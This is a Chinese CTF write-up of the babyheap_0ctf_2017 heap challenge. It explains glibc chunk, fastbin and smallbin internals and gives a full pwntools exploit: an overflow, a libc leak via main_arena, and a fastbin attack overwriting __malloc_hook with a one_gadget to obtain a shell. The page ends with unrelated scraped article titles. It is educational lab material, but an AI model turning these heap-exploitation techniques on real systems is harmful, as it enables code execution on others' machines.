题目地址: https://buuoj.cn/challenges#babyheap_0ctf_2017

本题为 64 位,以下内容以64位为例

信息收集

  • 弄到题目文件先 checksec

  • 保护全开,那必然就要想办法泄漏出 libc 基地址的偏移量来实现调用其他函数

  • 先逆向一下文件,对于 main 函数大概的构造情况如下

  • 对于 allocate 函数,里面用户输入 size 后根据其大小进行内存分配

  • 这里使用了 calloc函数,其与malloc不同的是分配内存后会把数据区域全部置0

  • 对于 fill 函数,用户提供需要修改的堆块的 index和需要改的size,然后根据size来读取用户输入

  • 问题就出在这个 size 可以由用户输入,那么可以任意构造 size,实现伪造堆块的效果

  • 对于 free 函数,就是将堆块 free 了

  • 对于 dump 函数,会根据堆块的大小显示出堆块中的内容

修改 libc 版本

  • 由于这题使用的 libc 版本是 ubuntu 16 的,但是因为目前只有 ubuntu 20 的调试机,因此需要修改 libc 版本

  • 使用 patchelf 修改解释器和 libc 文件

  • patchelf在 github可以下到

  • libc文件在glibc-all-in-one有,不过不是buuoj的libc,偏移量不一样

bi0x@ubuntu:~/ctf$ patchelf --set-interpreter /home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-linux-x86-64.so.2 ./babyheap_0ctf_2017
bi0x@ubuntu:~/ctf$ patchelf --set-rpath /home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/:/libc.so.6 ./babyheap_0ctf_2017
bi0x@ubuntu:~/ctf$ ldd ./babyheap_0ctf_2017 linux-vdso.so.1 (0x00007fff8ddd4000)libc.so.6 => /home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6 (0x00007f42c487f000)/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f42c4e52000)

实施攻击

先根据题目情况构造好交互函数

from pwn import *is_debug = 1
#context(os='linux', arch='amd64', log_level='debug')
context.log_level = "debug"
onegg_offset = 0
libc = nulldef debug(sh):if is_debug == 0:gdb.attach(sh)returndef conn(s, port = 28960):global libcglobal onegg_offsetif s == 0:libc = ELF("/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6")onegg_offset = 0x4527areturn process('./babyheap_0ctf_2017')else:libc = ELF("/home/bi0x/ctf/libc223/libc.so.6")onegg_offset = 0x4526areturn remote('node3.buuoj.cn', port)def allocate(size):io.sendlineafter("Command:", '1')io.sendlineafter("Size:", str(size))def fill(index, content):io.sendlineafter("Command:", '2')io.sendlineafter("Index:", str(index))io.sendlineafter("Size:", str(len(content)))io.sendafter("Content:", content)def free(index):io.sendlineafter("Command:", '3')io.sendlineafter("Index:", str(index))def dump(index):io.sendlineafter("Command:", '4')io.sendlineafter("Index:", str(index))

申请堆块

  • 构造几个堆块以待使用

  • 这里需要注意的一个点是必须构造有一个 0x60 大小的堆块,我把它构造在了最后一个

  • 具体原因在后续的堆块构造会提到

io = conn(is_debug)
allocate(0x10)#0
allocate(0x10)#1
allocate(0x80)#2
allocate(0x10)#3
allocate(0x60)#4

假设以 x/ABgx 的形式来查看内存,这时候程序堆上的内容如下

堆块结构分析

  • 对于每一个堆块,其会多占用大小 0x10 内容来存储 chunk 的信息,其位于分配地址 - 0x10

  • 假设我们 malloc 了一个 n * 8大小的堆块,其堆结构如下

#Prev_size(被释放才存) #Size + [ A M P ]
#此堆块存储的数据1 #此堆块存储的数据2
#此堆块存储的数据n-1 #此堆块存储的数据n
  • 操作系统在分配堆块的时候,会把堆块的大小向上对齐两倍的机器字长,且堆块最小大小为 0x20

  • 比如这里分配一个 0x10 的堆块,和分配 0xE 大小的堆块最后占用的内存大小都是 0x20

  • 对于 0xE,其先对齐到 0x10,再在前面加上堆信息块

  • 这里会发现一个问题

  • 对于32位的堆块来说,其低3位一定不会被占用

  • 对于64位的堆块来说,其低4位一定不会被占用

  • 因此堆块的低3位必然可以用来存储其他数据,对这三位标注为 [ A | M | P ]

  • 这里的最后一位表示 Prev_in_use,也就是前一个堆块是否被使用

  • 对于fast 大小的堆块(大小在0x20~0x80之间,包括数据块大小),其被 free 后P位仍然为1

  • 这是为了小内存的再次利用,其使用fastbins来存储被free的小堆块

  • fastbins的实际结构是一个单链表数组,其由8个fastbin构成,每一个对应一种fast大小的堆块

另外这里还有一个知识点,就是对于 small 大小的堆块,其被free后会放进smallbins里

  • smallbins的实际结构是一个双向循环链表数组,其由62个smallbin组成

  • 这里的 0x80的堆块被free后就会放进smallbin,因为其大小是0x90

  • 对于被 free 的small大小的堆块,其free后堆块结构如下

#Prev_size #Size
#FD指针,指向前一个free的同大小堆块 #BK指针,指向后一个free的同大小堆块
…(后续是之前这个堆块的数据)
  • 这里有一个很重要的点,对于某一个大小的 small chunk,其首个free掉的chunk会指向main_arena上的固定地址

  • main_arena为主线程申请的内存快

  • 那么我们就可以通过越界写伪造堆块来 free,然后通过共用的内存泄漏出 main_arena的地址

  • 进而可以泄漏 libc 的基地址

泄漏 Main_arena 地址

  • 首先我们通过越界写来伪造出一个能访问到下一块内存的堆块和一个假的small chunk
fill(0, p64(0) * 3 + p64(0x51))
fill(2, p64(0) * 5 + p64(0x91))
  • 这时候的堆内存变成如下结构,其中浅绿为id1堆块修改后的占用区

  • 很明显的可以看见,id1的后几块内存共用了id2的内存

  • 注意需要在伪造的id1 chunk 下方的chunksize 处伪造一个符合堆块要求的 size,比如这里伪造了一个0x91

  • 在free的时候libc会检查这个大小是否符合chunk要求,小于两倍的SIZE_SZ或大于system_mem将报错

  • 由于 dump 的时候会根据原先分配的大小进行 dump

  • 因此我们要把 id1 的堆块 free 掉,然后在 allocate 一个 0x40 大小的堆块,这样对于 id1 来说,我们能控制到的就是 0x40 个字节了

free(1)
allocate(0x40)
  • 之前提到过,第一个被释放的 small chunk 其fd和bk指针会指向main_arena的固定偏移处

  • 因此我们可以通过伪造small chunk,来获取fd指针

fill(1, p64(0) * 3 + p64(0x91))
free(2)
io.recv()
dump(1)
io.recvuntil("Content:")
  • 这时候就可以通过id1和id2共用的堆块吧main_arena的地址泄漏出来了

  • 在main_arena - 0x10 处,存储的是 malloc_hook指针

  • 当malloc_hook 指向某一个函数的时候,malloc时优先会调用这个函数

  • 如果我们能在malloc_hook处伪造一个堆块,然后通过malloc来申请到这个伪造堆块

  • 之后通过往堆块里写数据实现修改malloc_hook指向的值,把它指向one_gadget实现getshell

#? --------------- get libc base ---------------
main_arena_88_addr = u64(io.recv(0x28)[0x22:].ljust(8, "\x00"))
success("Main Arena + 88 : " + hex(main_arena_88_addr))
malloc_hook_addr = main_arena_88_addr - 88 - 0x10
fake_small_bin_addr = malloc_hook_addr - 0x23
libc_addr = malloc_hook_addr - libc.sym["__malloc_hook"]
onegg = onegg_offset + libc_addr
success("Libc base: " + hex(libc_addr))
#? --------------- get libc base end ---------------

这里涉及到一个关于 fastbin 的知识,当fast chunk 被释放的时候,其会被放入对应大小的fastbin里

  • 比如把一个malloc(0x40)出来的堆块free掉,其会放到fastbin[0x50] 中,因为包括一个0x10的堆块信息位

  • 同时fastbin的结构是LIFO的,也就是最后free的最先使用,其通过维护free后堆块的fd指针来维护单链表结构

  • 也就是在free掉0x50大小的堆块1,再free 0x50大小的堆块2后

  • 第一次malloc(0x40)时返回的是堆块2,在malloc的时候,fastbin会根据堆块2的fd指针找到堆块1,然后从bin中删除堆块2

  • 可以发现一个问题,如果我们能修改free掉的堆块2数据中的fd指针,把它指向一个我们想要的地方,那就可以实现任意写了

  • 这里需要注意的一点是,我们把fd指针修改到的伪造堆块处,其chunksize必须符合此fastbin的大小

  • 这里有一个很巧妙的点,我们来看malloc_hook_addr - 0x23 的地方

去掉与堆块大小无关的低4位数据,其符合0x70大小的fast chunk 要求

  • 只要我们把一个free掉的malloc(0x60) 的堆块的fd指针修改到这里,然后把这个堆块申请出来


  • 填入0x13个无关字符,再填入one_gadget,其就修改了malloc_hook 指向的函数了
#! --------------- fast bin attack ---------------
free(4)
fill(3, p64(0) * 3 + p64(0x71) + p64(fake_small_bin_addr))
allocate(0x60)
allocate(0x60)
fill(4, "a" * 0x13 + p64(onegg))
#! --------------- fast bin attack finished ---------------
  • 尝试 getshell
#* --------------- get shell ---------------
allocate(1)
io.interactive()
  • 完整脚本
from pwn import *
import timeis_debug = 0
#context(os='linux', arch='amd64', log_level='debug')
context.log_level = "debug"
onegg_offset = 0
libc = nulldef debug(sh):if is_debug == 0:gdb.attach(sh)returndef conn(s, port = 28960):global libcglobal onegg_offsetif s == 0:libc = ELF("/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6")onegg_offset = 0x4527areturn process('./babyheap_0ctf_2017')else:libc = ELF("/home/bi0x/ctf/libc223/libc.so.6")onegg_offset = 0x4526areturn remote('node3.buuoj.cn', port)def allocate(size):io.sendlineafter("Command:", '1')io.sendlineafter("Size:", str(size))def fill(index, content):io.sendlineafter("Command:", '2')io.sendlineafter("Index:", str(index))io.sendlineafter("Size:", str(len(content)))io.sendafter("Content:", content)def free(index):io.sendlineafter("Command:", '3')io.sendlineafter("Index:", str(index))def dump(index):io.sendlineafter("Command:", '4')io.sendlineafter("Index:", str(index))io = conn(is_debug)
allocate(0x10)#0
allocate(0x10)#1
allocate(0x80)#2
allocate(0x10)#3
allocate(0x60)#4#? --------------- leak libc ---------------
fill(0, p64(0) * 3 + p64(0x51))
fill(2, p64(0) * 5 + p64(0x91))free(1)
allocate(0x40)fill(1, p64(0) * 3 + p64(0x91))
free(2)io.recv()
dump(1)
io.recvuntil("Content:")
#? --------------- leak libc end ---------------#? --------------- get libc base ---------------
main_arena_88_addr = u64(io.recv(0x28)[0x22:].ljust(8, "\x00"))
success("Main Arena + 88 : " + hex(main_arena_88_addr))
malloc_hook_addr = main_arena_88_addr - 88 - 0x10
fake_small_bin_addr = malloc_hook_addr - 0x23
libc_addr = malloc_hook_addr - libc.sym["__malloc_hook"]
onegg = onegg_offset + libc_addr
success("Libc base: " + hex(libc_addr))
#? --------------- get libc base end ---------------#! --------------- fast bin attack ---------------
free(4)
fill(3, p64(0) * 3 + p64(0x71) + p64(fake_small_bin_addr))
allocate(0x60)
allocate(0x60)
fill(4, "a" * 0x13 + p64(onegg))
#! --------------- fast bin attack finished ---------------#* --------------- get shell ---------------
allocate(1)
io.interactive()

babyheap_0ctf_2017 详解相关推荐

  1. 从命令行到IDE,版本管理工具Git详解(远程仓库创建+命令行讲解+IDEA集成使用)

    首先,Git已经并不只是GitHub,而是所有基于Git的平台,只要在你的电脑上面下载了Git,你就可以通过Git去管理"基于Git的平台"上的代码,常用的平台有GitHub.Gi ...

  2. JVM年轻代,老年代,永久代详解​​​​​​​

    秉承不重复造轮子的原则,查看印象笔记分享连接↓↓↓↓ 传送门:JVM年轻代,老年代,永久代详解 速读摘要 最近被问到了这个问题,解释的不是很清晰,有一些概念略微模糊,在此进行整理和记录,分享给大家.在 ...

  3. docker常用命令详解

    docker常用命令详解 本文只记录docker命令在大部分情境下的使用,如果想了解每一个选项的细节,请参考官方文档,这里只作为自己以后的备忘记录下来. 根据自己的理解,总的来说分为以下几种: Doc ...

  4. 通俗易懂word2vec详解词嵌入-深度学习

    https://blog.csdn.net/just_so_so_fnc/article/details/103304995 skip-gram 原理没看完 https://blog.csdn.net ...

  5. 深度学习优化函数详解(5)-- Nesterov accelerated gradient (NAG) 优化算法

    深度学习优化函数详解系列目录 深度学习优化函数详解(0)– 线性回归问题 深度学习优化函数详解(1)– Gradient Descent 梯度下降法 深度学习优化函数详解(2)– SGD 随机梯度下降 ...

  6. CUDA之nvidia-smi命令详解---gpu

    nvidia-smi是用来查看GPU使用情况的.我常用这个命令判断哪几块GPU空闲,但是最近的GPU使用状态让我很困惑,于是把nvidia-smi命令显示的GPU使用表中各个内容的具体含义解释一下. ...

  7. Bert代码详解(一)重点详细

    这是bert的pytorch版本(与tensorflow一样的,这个更简单些,这个看懂了,tf也能看懂),地址:https://github.com/huggingface/pytorch-pretr ...

  8. CRF(条件随机场)与Viterbi(维特比)算法原理详解

    摘自:https://mp.weixin.qq.com/s/GXbFxlExDtjtQe-OPwfokA https://www.cnblogs.com/zhibei/p/9391014.html C ...

  9. pytorch nn.LSTM()参数详解

    输入数据格式: input(seq_len, batch, input_size) h0(num_layers * num_directions, batch, hidden_size) c0(num ...

  10. Java集合详解之Map

    一.首先看看集合框架体系图 从图中可以看到,Map接口扩展了Iterator接口,关于Iterator接口详解请移步:Iterator接口详解 二.Map是什么? Map<k,v>使用键值 ...

最新文章

  1. ajax id sort,ajax返回的json内容进行排序使用sort()方法实现
  2. Windows Server 2008 R2 DHCP服务器安装和配置案例
  3. Cpp / shared_ptr 配置删除器的方法
  4. (Head First 设计模式)学习笔记(1)
  5. php 将表情存入数据库,php + mysql 存入表情 【如何轉義emoji表情,讓它可以存入utf8的數據庫】...
  6. 教你如何防止网站被挂马!
  7. Delphi XE7下如何创建一个Android模拟器调试?
  8. 通过云主机实现双十一淘宝,京东秒杀 之一
  9. 光环PMP一模知识点解析
  10. 桌面运维转网络要做什么准备,高级网工学习路线分享
  11. 怎么区分PV、IV、UV以及网站统计名词解释(pv、曝光、点击)
  12. 在github上写个人简历——最简单却又不容易的内容罗列
  13. 【Day2.2】海边行宫忘忧宫——“爱与希望”之宫
  14. 二分查找总结——左闭右开区间和左闭右闭区间(C++语言)
  15. 树莓派仿真器R语言下载
  16. 避雷秘籍:iOS过审的基础条件
  17. Linux信号:SIGCHLD信号和僵尸进程
  18. 29.Android展示PDF文件
  19. Code Project精彩系列(转)
  20. 【算法刷题日记之本手篇】井字棋与密码强度等级

热门文章

  1. 畅购第9天项目总结(Spring Security Oauth2 JWT)
  2. 《计算机网络:自顶向下方法》阅读笔记
  3. Blender自动化建模入门
  4. matlab求矩阵的非,matlab矩阵非零个数 Matlab如何提取非零元素
  5. pytorch 预训练模型
  6. 矩阵论——矩阵的标准型
  7. 上下相机贴合对位计算公式_相机界的小公主康泰时Contax g1
  8. windows的hosts文件在哪?
  9. 大数据这么火,具体用用到哪些领域?揭秘大数据十三大具体应用场景
  10. matlab图像处理(图像)